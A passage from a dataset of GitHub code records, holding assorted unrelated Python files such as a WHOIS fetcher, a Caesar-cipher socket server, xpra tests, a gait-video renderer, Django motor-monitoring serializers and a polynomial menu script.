email_domains:\r\n email_domains = list(set(email_domains))\r\n line_data.append(email_domains)\r\n with open(output_file_path, 'a') as outfile:\r\n outfile.write(str(line_data) + '\\n')\r\n\r\n except Exception as e:\r\n email_domains = ['']\r\n line_data.append(email_domains)\r\n with open(output_file_path, 'a') as outfile:\r\n outfile.write(str(line_data) + '\\n')\r\n if driver:\r\n driver.quit()\r\n\r\n finally:\r\n with progress_lock:\r\n progress_bar.update(1)\r\n\r\n queue.task_done()\r\n\r\n\r\ndef main():\r\n global progress_bar\r\n input_file_path = 'D:\\\\DoAc\\\\asdb\\\\Gold\\\\isp-asn.txt'\r\n output_file_path = 'D:\\\\DoAc\\\\asdb\\\\Gold\\\\have-whois.txt'\r\n\r\n total_tasks = sum(1 for _ in open(input_file_path))\r\n progress_bar = tqdm(total=total_tasks, dynamic_ncols=True)\r\n\r\n queue = Queue()\r\n\r\n # 创建线程池\r\n for i in range(10):\r\n worker = Thread(target=fetch_query_results, args=(queue, output_file_path))\r\n worker.daemon = True\r\n worker.start()\r\n\r\n with open(input_file_path, 'r') as infile:\r\n for line in infile:\r\n line_data = eval(line.strip())\r\n queue.put(line_data)\r\n\r\n queue.join()\r\n progress_bar.close()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"strommine/IPNET","sub_path":"IPnet/asdb/get_whois.py","file_name":"get_whois.py","file_ext":"py","file_size_in_byte":4873,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"8765840065","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jun 28 12:48:44 2022\n\n@author: Jinkyung\n\"\"\"\n\ndef solution(n, left, right):\n answer = []\n \n for i in range(left, right+1):\n answer.append(max(divmod(i, n)) + 1)\n\n return answer\n","repo_name":"lxs987/Programmers","sub_path":"Programmers/Lv. 2/[구현] n^2 배열 자르기.py","file_name":"[구현] n^2 배열 자르기.py","file_ext":"py","file_size_in_byte":238,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"154248918","text":"from settings.common.users import get_user_session\nfrom settings.models import Config\n\n\ndef get(user_id, api_name):\n tag = \"_\".join([str(user_id), api_name])\n session = get_user_session(user_id)\n config = session.query(Config).filter_by(config_tag=tag).first()\n if config is None:\n resp = {\n \"status\": \"Failure\",\n \"message\": f\"Config for {api_name} not found\"\n }\n session.close()\n return resp, 404\n\n try:\n single_config = config.current_config\n resp = {\n \"status\": \"Success\",\n \"message\": f\"Config for {api_name}\",\n \"result\": single_config\n }\n session.close()\n return resp, 200\n\n except Exception as e:\n resp = {\n \"status\": \"Failure\",\n \"message\": \"Unexpected Error Occurred\"\n }\n session.close()\n return resp, 400\n","repo_name":"microapidev/settings-microapi","sub_path":"settings/resources/get_single_config.py","file_name":"get_single_config.py","file_ext":"py","file_size_in_byte":898,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"9298083545","text":"#!/usr/bin/python3\n\nimport socket\nimport sys\nimport struct\nimport threading\n\n# -*- coding: ascii -*-\n\n###############################################################################\ndef decripto (stri, X):\n\tcesar = list(stri)\n\tfor i in range(len(stri)):\n\t\tvalc = ord(stri[i]) \n\t\tvalc = (valc - 97 - X)%26 + 97\n\t\tcesar[i] = chr(valc)\n\t\n\treturn ''.join(cesar)\n\n###############################################################################\ndef work(con):\n\tstr_size \t= struct.unpack(\">i\",con.recv(4))[0] \t# Recebe tamanho da string\n\tmsg \t\t= con.recv(str_size).decode()\t\t\t# Recebe string\n\tX \t\t\t= struct.unpack(\">i\",con.recv(4))[0] \t# Recebe chave para cifra de cesar\n\t#print (msg)\n\tmsg = decripto(msg,X)\n\tprint (msg)\n\tcon.send(str.encode(msg))\n\tcon.close()\n\n###############################################################################\nHOST = '' \t\t\t\t\t# Endereco IP do Servidor\nPORT = int(sys.argv[1]) \t# Porta que o Servidor esta\n\ntcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ntcp.setsockopt( socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n\ntime_out = struct.pack(\"2l\", *[15,0])\ntcp.setsockopt( socket.SOL_SOCKET, socket.SO_RCVTIMEO, time_out)\n\norig = (HOST, PORT)\n\ntcp.bind(orig)\ntcp.listen(1)\n\n# thread calling work(con)\n\nserver_thread = []\nfor i in range(14):\n # socket.accept() return value is a pair (conn, address) where\n # conn is a new socket object usable to send and receive data on the connection\n # and address is the address bound to the socket on the other end of the connection.\n con, client = tcp.accept()\n server_thread.append(threading.Thread(target=work, args=(con,)))\n server_thread[i].start()\n\n###############################################################################\n###############################################################################\n###############################################################################\n","repo_name":"vbuxbaum/tp1_redes","sub_path":"bux_tp0/.servidor.py","file_name":".servidor.py","file_ext":"py","file_size_in_byte":1879,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"40600924732","text":"import textwrap\n\nfrom reahl.workstation.xprasupport import ControlXpra, Xpra\nfrom reahl.tofu import Fixture, scenario, uses\nfrom reahl.tofu.pytestsupport import with_fixtures\nfrom reahl.dev.fixtures import ExecutableStub\n\n\nclass CommandFixture(Fixture):\n def new_fake_vagrant(self):\n return ExecutableStub('vagrant', stdout=textwrap.dedent(\"\"\"\n Host ignoredname\n HostName ahostname\n Port aport\n \"\"\"))\n\n def new_xpra_executable(self):\n return ExecutableStub('xpra')\n\n def new_ssh_executable(self):\n return ExecutableStub('ssh')\n\n def run_command(self, arguments):\n command = ControlXpra(Xpra(xpra_executable=self.xpra_executable, ssh_executable=self.ssh_executable))\n with self.fake_vagrant.inserted_as_shim():\n command.do(arguments)\n\n def was_executable_run_with(self, expected_executable, expected_args_to_executable):\n return expected_executable.times_called == 1 and \\\n expected_executable.calls[0].argv == expected_args_to_executable\n\n\n@uses(command_fixture=CommandFixture)\nclass WhereFixture(Fixture):\n @scenario\n def local(self):\n self.input_arguments = ['-l']\n self.expected_executable = self.command_fixture.xpra_executable\n self.expected_commandline = []\n self.expected_xpra_attach_commandline = [':100']\n\n @scenario\n def vagrant(self):\n self.input_arguments = ['-V', 'somemachine']\n self.expected_executable = self.command_fixture.ssh_executable\n self.expected_commandline = ['somemachine', '-o', 'HostName=ahostname', '-o', 'Port=aport', '--', 'xpra']\n self.expected_xpra_attach_commandline = ['ssh:somemachine:100', '--ssh=ssh -o HostName=ahostname -o Port=aport']\n\n @scenario\n def ssh(self):\n self.input_arguments = ['-s', 'auser@somemachine', '-p', 'aport']\n self.expected_executable = self.command_fixture.ssh_executable\n self.expected_commandline = ['auser@somemachine', '-p', 'aport', '-o', 'PasswordAuthentication=no', '-o', 'ServerAliveInterval=30', '--', 'xpra']\n self.expected_xpra_attach_commandline = ['ssh:auser@somemachine:100', '--ssh=ssh -p aport -o PasswordAuthentication=no -o ServerAliveInterval=30']\n\n\n@with_fixtures(CommandFixture, WhereFixture)\ndef test_start(fixture, where):\n \"\"\"You can start an xpra on the local machine, a vagrant box or via ssh\"\"\"\n\n fixture.run_command(['start'] + where.input_arguments)\n\n assert fixture.was_executable_run_with(where.expected_executable,\n where.expected_commandline + ['start', '--sharing=yes', '--systemd-run=no', ':100'])\n\n\n@with_fixtures(CommandFixture, WhereFixture)\ndef test_stop(fixture, where):\n \"\"\"You can stop an xpra on the local machine, a vagrant box or via ssh\"\"\"\n\n fixture.run_command(['stop'] + where.input_arguments)\n\n assert fixture.was_executable_run_with(where.expected_executable,\n where.expected_commandline + ['stop', ':100'])\n\n\n@with_fixtures(CommandFixture, WhereFixture)\ndef test_attach(fixture, where):\n \"\"\"You can attach your local xpra to a local server, or one on a vagrant box or via ssh\"\"\"\n\n fixture.run_command(['attach'] + where.input_arguments)\n\n assert fixture.was_executable_run_with(fixture.xpra_executable,\n ['attach', '--sharing=yes'] + where.expected_xpra_attach_commandline)\n\n\n\n\n\n\n","repo_name":"reahl/reahl","sub_path":"reahl-workstation/reahl/workstation_dev/test_xpra.py","file_name":"test_xpra.py","file_ext":"py","file_size_in_byte":3461,"program_lang":"python","lang":"en","doc_type":"code","stars":126,"dataset":"github-code","pt":"62"} +{"seq_id":"29680479682","text":"import numpy as np\nimport pandas as pd\nimport cv2\nimport matplotlib.pyplot as plt\nfrom matplotlib.animation import FFMpegWriter\nimport pickle\n\n\ndef get_frames(video_path):\n video = cv2.VideoCapture(video_path)\n while True:\n ret, frame = video.read()\n if not ret:\n break\n yield frame\n video.release()\n\n\ndef render(data_root_dir: str):\n video_path = f'{data_root_dir}/video/uploaded.mp4'\n csv_path = f'{data_root_dir}/output/uploaded_stride.csv'\n raw_csv_path = f'{data_root_dir}/csv/uploaded.csv'\n keypoint_path = f'{data_root_dir}/output/2d/uploaded.mp4.npz'\n tt_pickle_path = f'{data_root_dir}/output/tt.pickle'\n output_video_path = f'{data_root_dir}/output/render.mp4'\n\n\n with open(tt_pickle_path, 'rb') as handle:\n raw_tt = pickle.load(handle)\n\n df = pd.read_csv(csv_path, header=0)\n raw_df = pd.read_csv(raw_csv_path, names=[\"time\", \"left.y\", \"left.x\", \"left.dt\", \"right.y\", \"right.x\", \"right.dt\"])\n\n segmentations = raw_df[['time']].join(df[['time', 'step.leg']], lsuffix='time', rsuffix='time').fillna('-')['step.leg'].values\n\n kepoints = np.load(keypoint_path, allow_pickle=True)\n\n frames = []\n for frame in get_frames(video_path):\n frames.append(frame)\n\n # frame_id = 300\n\n image_height, image_width, _ = frames[0].shape\n dpi = 300\n writer = FFMpegWriter(fps=30)\n\n # Create a figure and axes\n fig, ax = plt.subplots(figsize=(image_width / dpi, image_height / dpi))\n fig.subplots_adjust(left=0, bottom=0, right=1, top=1, wspace=None, hspace=None)\n\n\n n = len(kepoints.f.keypoints)\n with writer.saving(fig, output_video_path, dpi=dpi):\n for frame_id in range(n):\n ax.clear()\n \n ax.imshow(frames[frame_id][:, :, ::-1])\n xx = kepoints.f.keypoints[frame_id][1].reshape(-1, 17)[0, :]\n yy = kepoints.f.keypoints[frame_id][1].reshape(-1, 17)[1, :]\n ax.scatter(\n x=xx,\n y=yy,\n s=15,\n color='crimson')\n ax.plot([xx[10], xx[8], xx[6], xx[5], xx[7], xx[9]], [yy[10], yy[8], yy[6], yy[5], yy[7], yy[9]], color='crimson')\n ax.plot([xx[6], xx[12], xx[14], xx[16]], [yy[6], yy[12], yy[14], yy[16]], color='crimson')\n ax.plot([xx[5], xx[11], xx[13], xx[15]], [yy[5], yy[11], yy[13], yy[15]], color='crimson')\n ax.plot([xx[12], xx[11]], [yy[12], yy[11]], color='crimson')\n \n # Annotate the current frame type\n #current_frame_type = segmentations[frame_id]\n # if current_frame_type == '-':\n # current_frame_type = 'none'\n current_frame_type = 'walking'\n if raw_tt[frame_id] == 1:\n current_frame_type = 'turning'\n ax.annotate(current_frame_type, (100, 200), color='white', bbox=dict(facecolor='crimson', edgecolor='black'))\n\n ax.axis('off')\n\n writer.grab_frame()\n","repo_name":"Kaminyou/PathoOpenGait","sub_path":"backend/algorithms/gait_basic/utils/make_video.py","file_name":"make_video.py","file_ext":"py","file_size_in_byte":2969,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"34089825464","text":"\"\"\"\nmain views module to render pages.\n\"\"\"\n#import datetime\nfrom django.shortcuts import render_to_response\nfrom django.template import RequestContext\nfrom django.utils import importlib\nfrom django.views.decorators.cache import never_cache\nfrom django.http import HttpResponseRedirect, HttpResponseForbidden, Http404\nfrom django.core.urlresolvers import reverse\nfrom django.contrib.auth.decorators import login_required, user_passes_test\nfrom apps.managers.cache_mgr import cache_mgr\nfrom apps.managers.challenge_mgr import challenge_mgr\nfrom apps.widgets.resource_goal import resource_goal\n\n\n@never_cache\ndef root_index(request):\n \"\"\"\n handle the landing page.\n \"\"\"\n if request.user.is_authenticated():\n return HttpResponseRedirect(reverse(\"home_index\"))\n return HttpResponseRedirect(reverse(\"landing\", args=()))\n\n\n@never_cache\n@login_required\ndef index(request):\n \"\"\"\n handle top level pages.\n \"\"\"\n page_name = request.path[1:][:-1]\n\n view_objects = {}\n\n if page_name != \"home\" and not challenge_mgr.is_page_unlock(request.user, page_name):\n return HttpResponseForbidden('

    Permission denied

    ')\n\n # get the view_objects\n is_page_defined = supply_view_objects(request, page_name, view_objects)\n\n if not is_page_defined:\n raise Http404\n\n # get user resource rank and usage\n team = request.user.get_profile().team\n if team:\n if challenge_mgr.is_page_unlock(request.user, \"energy\"):\n view_objects[\"energy_rank_info\"] = resource_goal.resource_goal_rank_info(team, \"energy\")\n if challenge_mgr.is_page_unlock(request.user, \"water\"):\n view_objects[\"water_rank_info\"] = resource_goal.resource_goal_rank_info(team, \"water\")\n\n #time_start = datetime.datetime.now()\n response = render_to_response(\"%s.html\" % page_name, {\n \"view_objects\": view_objects,\n }, context_instance=RequestContext(request))\n #time_end = datetime.datetime.now()\n #print \"%s time: %s\" % (\"render\", (time_end - time_start))\n return response\n\n\ndef supply_view_objects(request, page_name, view_objects):\n \"\"\" Returns view_objects supplied widgets defined in PageSetting. \"\"\"\n\n widget_infos = challenge_mgr.get_enabled_widgets(page_name)\n if not widget_infos:\n return False\n\n view_objects['left_templates'] = []\n view_objects['right_templates'] = []\n\n for widget_info in widget_infos:\n view_module_name = 'apps.widgets.' + widget_info.widget + '.views'\n page_views = importlib.import_module(view_module_name)\n\n #time_start = datetime.datetime.now()\n widget_name = widget_info.widget.replace(\".\", \"__\")\n view_objects[widget_name] = page_views.supply(request, page_name)\n #time_end = datetime.datetime.now()\n #print \"%s time: %s\" % (view_module_name, (time_end - time_start))\n\n widget_template = \"widgets/\" + \\\n widget_info.widget.replace(\".\", \"/\") + \\\n \"/templates/index.html\"\n if widget_info.location == \"Left\":\n view_objects['left_templates'].append(widget_template)\n if widget_info.location == \"Right\":\n view_objects['right_templates'].append(widget_template)\n\n return True\n\n\n@user_passes_test(lambda u: u.is_staff, login_url=\"/landing\")\ndef clear_cache(request):\n \"\"\"clear all cached content.\"\"\"\n _ = request\n cache_mgr.clear()\n return HttpResponseRedirect(\"/admin\")\n","repo_name":"justinslee/Wai-Not-Makahiki","sub_path":"makahiki/apps/pages/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3454,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"24572428017","text":"from django.conf.urls import url\n\nfrom . import views\n\nurlpatterns = [\n\t#this will process and route any url requets sent to the polls app. \n\t#by the time a request gets here, the pattern that sent it here has been removed\n\t#it will then route the processing of that request to a function in the views.py file for this app\n \n # ex: /polls/\n url(r'^$', views.index, name='index'),\n # ex: /polls/5/\n url(r'^(?P[0-9]+)/$', views.detail, name='detail'),\n # ex: /polls/5/results/\n url(r'^(?P[0-9]+)/results/$', views.results, name='results'),\n # ex: /polls/5/vote/\n url(r'^(?P[0-9]+)/vote/$', views.vote, name='vote'),\n]","repo_name":"RyCSmith/Django_Polls_Tutorial","sub_path":"my_site/mysite/polls/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":681,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"29685442738","text":"import pandas\nimport numpy as np\nimport itertools\nfrom datetime import datetime\nfrom statistics import mean\nimport matplotlib.pyplot as plt\nimport sys\nimport argparse\n\nTIME_FORMAT_SENSOR = \"%M:%S \"\nTIME_FORMAT = \"%M:%S\"\nBASEPATH = \"\\ObserverLog\"\nMERGEKEYS = [\"IPAddress\",\"Value\",\"Type\",\"Critic\",\"Observe\"]\navgs = []\ntmp = []\nDataframes = {}\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-r\",\"--root\",help=\"Select the root folder relatives to the csv files,inside the Dati folder\")\nparser.add_argument(\"-n\",\"--number\",help=\"The number of csv files\",type=int)\nargs = parser.parse_args()\nroot = args.root\nnlogs = args.number\n\n#APERTURA DEL DATAFRAME RELATIVO AL SENSORE\nSensorDF = pandas.read_csv(\"Dati\\\\\"+root+\"\\log1.txt\")\n#Scrolling the sets\n\n\n\n\nfor set in range(0,int(int(nlogs)/4)):\n Dataframes[str(set)] = []\n for priority in range(1,5):\n FILENAME = \"Dati\\\\\"+root+BASEPATH+str(set)+str(priority)+\".csv\"\n ObserverDF= pandas.read_csv(FILENAME)\n print(ObserverDF.shape)\n result = SensorDF.merge(ObserverDF,on=MERGEKEYS)\n # Choosing only the critic value\n result = result.loc[result[\"Critic\"] == 1]\n Dataframes[str(set)].append(result)\n\n#Computing the average timediff for all the priorities\nfor priority in range(0,4):\n tmp = []\n for sets in range(0,int(int(nlogs)/4)):\n TimeDiff = []\n actualDF = Dataframes[str(sets)][priority]\n for t1,t2 in zip(actualDF['Time_x'].values.tolist(),actualDF[\"Time_y\"].values.tolist()):\n t1 = datetime.strptime(t1,TIME_FORMAT_SENSOR)\n t2 = datetime.strptime(t2,TIME_FORMAT)\n TimeDiff.append((t2-t1).seconds)\n tmp.append(mean(TimeDiff))\n avgs.append(mean(tmp))\n\n#Preparing and plotting the line graph\nplt.xticks(list(range(1,5)))\nplt.yticks(avgs)\nplt.plot(list(range(1,5)),avgs,color=\"r\",marker=\"o\")\nplt.ylabel(\"Delay [s]\")\nplt.xlabel(\"Priority\")\nplt.savefig(\"Dati\\\\\"+root+\"\\plot.png\")\nplt.show()\n","repo_name":"SieniAlessandro/QoS-implementation-for-CoAP","sub_path":"Statistics/analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":1963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"32715136029","text":"import torch\nfrom torch import nn\n\n__author__ = 'Andres'\n\n\nclass BorderEncoder(nn.Module):\n def __init__(self, params):\n super(BorderEncoder, self).__init__()\n\n self._params = params\n self.encoder = nn.ModuleList()\n\n curr_channel_count = self._params['data_size'] - 1\n\n for nfilters, kernel_shape, stride in zip(self._params['nfilter'], self._params['shape'], self._params['stride']):\n self.encoder.append(nn.Sequential(\n nn.utils.weight_norm(nn.Conv2d(in_channels=curr_channel_count, out_channels=int(nfilters),\n kernel_size=kernel_shape, stride=stride,\n padding=2)),\n nn.ReLU(),\n ))\n curr_channel_count = int(nfilters)\n\n def forward(self, x):\n x = x[:, :, :, ::self._params['border_scale']]\n for module in self.encoder:\n x = module(x)\n return x\n\n\n\nif __name__ == '__main__':\n params_borders = dict()\n md = 32\n input_shape = [1, 256, 160]\n batch_size = 64*2\n\n params_borders['nfilter'] = [md, 2 * md, md, md // 2]\n params_borders['shape'] = [[5, 5], [5, 5], [5, 5], [5, 5]]\n params_borders['stride'] = [2, 2, 3, 4]\n params_borders['data_size'] = 2\n\n model = BorderEncoder(params_borders)\n print(model)\n\n x = torch.randn(batch_size, *input_shape)\n print(x.shape)\n\n score = model(x)\n\n print(score.shape)","repo_name":"andimarafioti/GACELA","sub_path":"model/borderEncoder.py","file_name":"borderEncoder.py","file_ext":"py","file_size_in_byte":1472,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"62"} +{"seq_id":"9526566687","text":"from rest_framework import serializers\nfrom motors.models import Motor, Bearing, Rotor, Stator, WarningLog, WeeklyRecord, Ufeature, CurrentSignalPack, \\\n Vfeature, Wfeature, SymComponent, Uphase, equip_types\nfrom rest_framework.renderers import JSONRenderer\nfrom django.contrib.auth.models import User\nimport itertools\nimport numpy as np\n\nComponentSerializerFields = (\n 'id', \"name\", 'equip_type', 'health_indicator', \"statu\", 'lr_time', 'tags', 'memo', 'admin')\n\n\nclass UserSeralizer(serializers.ModelSerializer):\n class Meta:\n model = User\n fields = (\"username\",)\n\n\nclass ComponentSerializer(serializers.ModelSerializer):\n # This class is built for inherit only!!\n\n admin = serializers.SerializerMethodField()\n detail = serializers.SerializerMethodField()\n\n def get_detail(self, obj):\n pass\n\n def get_admin(self, obj):\n return UserSeralizer(obj.motor.admin).data\n\n def update(self, instance, validated_data):\n # Patch Last repair time\n instance.lr_time = validated_data['lr_time']\n instance.save()\n return instance\n\n class Meta:\n fields = (\n 'id', \"name\", 'equip_type', 'health_indicator', \"statu\", 'lr_time', 'tags', 'memo', 'admin', 'detail')\n\n\nclass BearingsSerializer(ComponentSerializer):\n def get_detail(self, obj):\n return {\n 'Inner Race Diameter': obj.inner_race_diameter,\n 'Inner Race Width': obj.inner_race_width,\n 'Outter Race Diameter': obj.outter_race_diameter,\n 'Outter Race Width': obj.outter_race_width,\n 'Roller Diameter': obj.roller_diameter,\n 'Roller Number': obj.roller_number,\n 'Contact angle': obj.contact_angle,\n\n }\n\n class Meta:\n model = Bearing\n fields = ComponentSerializer.Meta.fields\n\n\nclass RotorSerializer(ComponentSerializer):\n def get_detail(self, obj):\n return {\n 'Rotor Length': obj.length,\n 'Outer Diameter': obj.outer_diameter,\n 'Inner Diameter': obj.inner_diameter,\n 'Slot Number': obj.slot_number,\n }\n\n class Meta:\n model = Rotor\n fields = ComponentSerializer.Meta.fields\n\n\nclass StatorSerializer(ComponentSerializer):\n def get_detail(self, obj):\n return {\n 'Stator Length': obj.length,\n 'Stator Diameter': obj.outer_diameter,\n 'Stator Inner Diameter': obj.inner_diameter,\n 'Slot Number': obj.slot_number,\n }\n\n class Meta:\n model = Rotor\n fields = ComponentSerializer.Meta.fields\n\n\nclass MotorsSerializer(serializers.ModelSerializer):\n children = serializers.SerializerMethodField()\n tags = serializers.SerializerMethodField()\n admin = UserSeralizer(read_only=True)\n detail = serializers.SerializerMethodField()\n lr_time = serializers.DateTimeField(format='%Y-%m-%d %H:%M:%S')\n\n def get_children(self, obj):\n children = [\n BearingsSerializer(obj.bearings.exclude(statu=4), many=True,\n context={'request': self.context['request']}).data,\n RotorSerializer(obj.rotors.exclude(statu=4), many=True, context={'request': self.context['request']}).data,\n StatorSerializer(obj.stators.exclude(statu=4), many=True,\n context={'request': self.context['request']}).data]\n return list(itertools.chain(*children))\n\n def get_tags(self, obj):\n return [item.name for item in obj.tags.all()]\n\n def get_detail(self, obj):\n return {\n 'Phase Number': obj.phase_number,\n 'Pole Pairs Number': obj.pole_pairs_number,\n 'Turn Number': obj.turn_number,\n 'Rated Voltage': obj.rated_voltage,\n 'Rated Speed': obj.rated_speed,\n }\n\n def update(self, instance, validated_data):\n # 修改商品数量\n instance.lr_time = validated_data['lr_time']\n instance.save()\n return instance\n\n class Meta:\n model = Motor\n fields = (\n 'id', \"name\", 'sn', 'statu', 'memo', 'lr_time', 'health_indicator', 'admin', 'children', 'tags', 'detail',\n 'equip_type')\n\n\nclass WarningMotorSerializer(serializers.ModelSerializer):\n class Meta:\n model = Motor\n fields = ('name', 'statu')\n\n\nclass WarningLogSerializer(serializers.ModelSerializer):\n motor = WarningMotorSerializer()\n\n @staticmethod\n def setup_eager_loading(queryset):\n \"\"\" Perform necessary eager loading of data. \"\"\"\n # select_related for \"to-one\" relationships\n queryset = queryset.select_related('motor')\n return queryset\n\n class Meta:\n model = WarningLog\n fields = \"__all__\"\n\n\nclass WeeklyRecordSerializer(serializers.ModelSerializer):\n class Meta:\n model = WeeklyRecord\n fields = '__all__'\n\n\nclass FeatureSerializer(serializers.ModelSerializer):\n class Meta:\n model = Ufeature\n fields = ('thd',)\n\n\nclass PSFserializer(serializers.ModelSerializer):\n class Meta:\n model = Uphase\n fields = ('frequency',)\n\n\nclass MotorTrendSerializer(serializers.ModelSerializer):\n trend = serializers.SerializerMethodField()\n\n def get_trend(self, obj):\n all_features = Ufeature.objects.filter(signal_pack__motor_id=obj.id)[:100]\n trend_serializer = FeatureSerializer(all_features, many=True, context={'request': self.context['request']})\n trend_list = [item['thd'] for item in trend_serializer.data]\n\n all_packs = CurrentSignalPack.objects.filter(motor_id=obj.id)[:100]\n time_list = [pack.time.strftime('%Y-%m-%d') for pack in all_packs]\n return {'trend': trend_list,\n 'time': time_list}\n\n class Meta:\n model = Motor\n fields = ('name', 'statu', 'trend')\n\n\nclass URMSSerializer(serializers.ModelSerializer):\n class Meta:\n model = Ufeature\n fields = ('rms',)\n\n\nclass VRMSSerializer(serializers.ModelSerializer):\n class Meta:\n model = Vfeature\n fields = ('rms',)\n\n\nclass WRMSSerializer(serializers.ModelSerializer):\n class Meta:\n model = Wfeature\n fields = ('rms',)\n\n\nclass SymFeatureSerializer(serializers.ModelSerializer):\n class Meta:\n model = SymComponent\n fields = ('n_sequence_rms', 'p_sequence_rms')\n\n\nclass DashBoardRadarFeatureSerializer(serializers.ModelSerializer):\n ufeature = URMSSerializer(many=False)\n vfeature = VRMSSerializer(many=False)\n wfeature = WRMSSerializer(many=False)\n symcomp = SymFeatureSerializer(many=False)\n uphase = PSFserializer(many=False)\n\n @staticmethod\n def setup_eager_loading(queryset):\n \"\"\" Perform necessary eager loading of data. \"\"\"\n # select_related for \"to-one\" relationships\n queryset = queryset.select_related('ufeature')\n queryset = queryset.select_related('vfeature')\n queryset = queryset.select_related('wfeature')\n queryset = queryset.select_related('symcomp')\n queryset = queryset.select_related('uphase')\n return queryset\n\n class Meta:\n model = CurrentSignalPack\n fields = ('ufeature', 'vfeature', 'wfeature', 'symcomp', 'uphase')\n\n\nclass IndexMotorCountSerializer(serializers.ModelSerializer):\n stator = serializers.SerializerMethodField()\n rotor = serializers.SerializerMethodField()\n bearing = serializers.SerializerMethodField()\n\n def get_stator(self, obj):\n return obj.stators.count()\n\n def get_bearing(self, obj):\n return obj.bearings.count()\n\n def get_rotor(self, obj):\n return obj.rotors.count()\n\n class Meta:\n model = Motor\n fields = ('name', 'stator', 'rotor', 'bearing')\n\n\nclass PackDiagnosisSerializer(serializers.ModelSerializer):\n result = serializers.SerializerMethodField()\n time = serializers.DateTimeField(format='%Y-%m-%d %H:%M:%S')\n\n def get_result(self, obj):\n mean = [4.08730257e+01, 1.73987679e-01, 3.38665858e-02, 2.51566228e-02\n , 1.38076468e-02, 8.69973561e-03, 8.03956150e-03, 5.46600118e-03\n , 5.47209168e-03, 3.97664006e-03, 3.49551548e-03, 3.12332230e-03\n , 2.89882393e-03, 2.59235078e-03, 2.44827813e-03, 2.21258332e-03\n , 2.06736559e-03, 1.94553804e-03, 1.83568153e-03, 1.71402076e-03\n , 1.63825834e-03, 1.92515618e-13, 1.71528731e+00, 1.87438023e+00\n , 1.17415829e+00, 3.02615524e+00, 1.10859131e+00, 3.56888253e+00\n , 1.40528613e+00, 3.43715517e+00, 1.35946774e+00]\n var = [6.86443163e+01, 1.37727184e-04, 8.18211372e-05, 3.84386914e-05\n , 2.45116228e-05, 1.15764157e-05, 1.53705260e-05, 6.06259742e-06\n , 8.01371761e-06, 3.43112622e-06, 2.69436399e-06, 2.23925042e-06\n , 1.89684885e-06, 1.54081806e-06, 1.34945087e-06, 1.15557906e-06\n , 9.93618765e-07, 8.75660264e-07, 7.92424842e-07, 7.10468212e-07\n , 6.40105019e-07, 2.29148844e-26, 1.43297362e+00, 1.06251902e+00\n , 3.88808295e-01, 7.86609996e+00, 2.75726200e-01, 1.51483484e+01\n , 6.90431391e-01, 1.44584506e+01, 4.40973639e-01]\n data = np.concatenate(([obj.uphase.frequency, obj.ufeature.rms, obj.ufeature.thd],\n np.fromstring(obj.ufeature.harmonics), np.fromstring(obj.ufeature.fbrb)))\n\n import pickle\n f2 = open('db_tools/MLmodel/svm-rbf.txt', 'rb')\n s2 = f2.read()\n clf2 = pickle.loads(s2)\n result = clf2.predict(np.reshape(((data - mean) / np.sqrt(var)), (1, -1)))\n return int(result)\n\n class Meta:\n model = CurrentSignalPack\n fields = \"__all__\"\n","repo_name":"peilion/IMmonitor","sub_path":"motors/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":9659,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"72905721476","text":"#polynomial\n\ncoffi = {}\nc = 0\nflag = 0\nk = 0\nans = 0\ndegree = 0\n\ndef create():\n global degree\n degree = int(input(\"Enter degree of the polynomial: \"))\n for i in range(degree+1):\n c = int(input(\"Enter coefficient of the degree \" + str(degree-i) + \": \"))\n coffi[degree-i] = c\n \ndef printi():\n count = 0;\n for j in sorted(coffi,reverse=True):\n count = count + 1\n if j==0:\n if coffi[j]<0:\n print(\"\",end=\"\")\n else:\n print(\"+\",end=\"\")\n print(str(coffi[j]) + \"x\" + str(j))\n else:\n if count!=1:\n if coffi[j]<0:\n print(\"\",end=\"\")\n else:\n print(\"+\",end=\"\")\n print(str(coffi[j]) + \"x\" + str(j),end=\"\")\n \ndef insert():\n global coffi\n d = len(coffi)\n ins = int(input(\"Enter degree of the term you want to insert: \"))\n c = int(input(\"Enter coefficient: \"))\n if ins<=d:\n if coffi[ins]!=0:\n a = 1\n print(\"Term already exists\")\n print(\"Want to: 1.Replace or 2.Add to existing?\")\n a = int(input(\"Enter your choice: \"))\n if a==1:\n coffi[ins] = c\n else:\n coffi[ins] = coffi[ins] + c\n elif coffi[ins]==0:\n coffi[ins] = c\n else:\n temp = {ins:c}\n coffi.update(temp)\n \ndef dele():\n ins = int(input(\"Enter degree of the term you want to delete: \"))\n if ins>degree:\n print(\"Term does not exist\")\n else:\n del coffi[ins]\n \nwhile k!=-1:\n print(\"--------------- Enter -1 when you wnat to terminate the program -------------------\")\n print(\"Select a option\")\n print(\"1. Create a Polynomial\")\n print(\"2. Insert a term in the Polynomial\")\n print(\"3. Print the Polynomial\")\n print(\"4. Delete a term in the Polynomial\")\n ans = int(input(\"Enter your option: \"))\n\n if ans==1:\n create();\n flag = 1\n else:\n if flag==0:\n print(\"First create a Polynomial\")\n print(\"Try again!\")\n continue\n else:\n if ans==2:\n insert()\n elif ans==3:\n printi()\n elif ans==4:\n dele()\n elif ans==-1:\n print(\"Thank 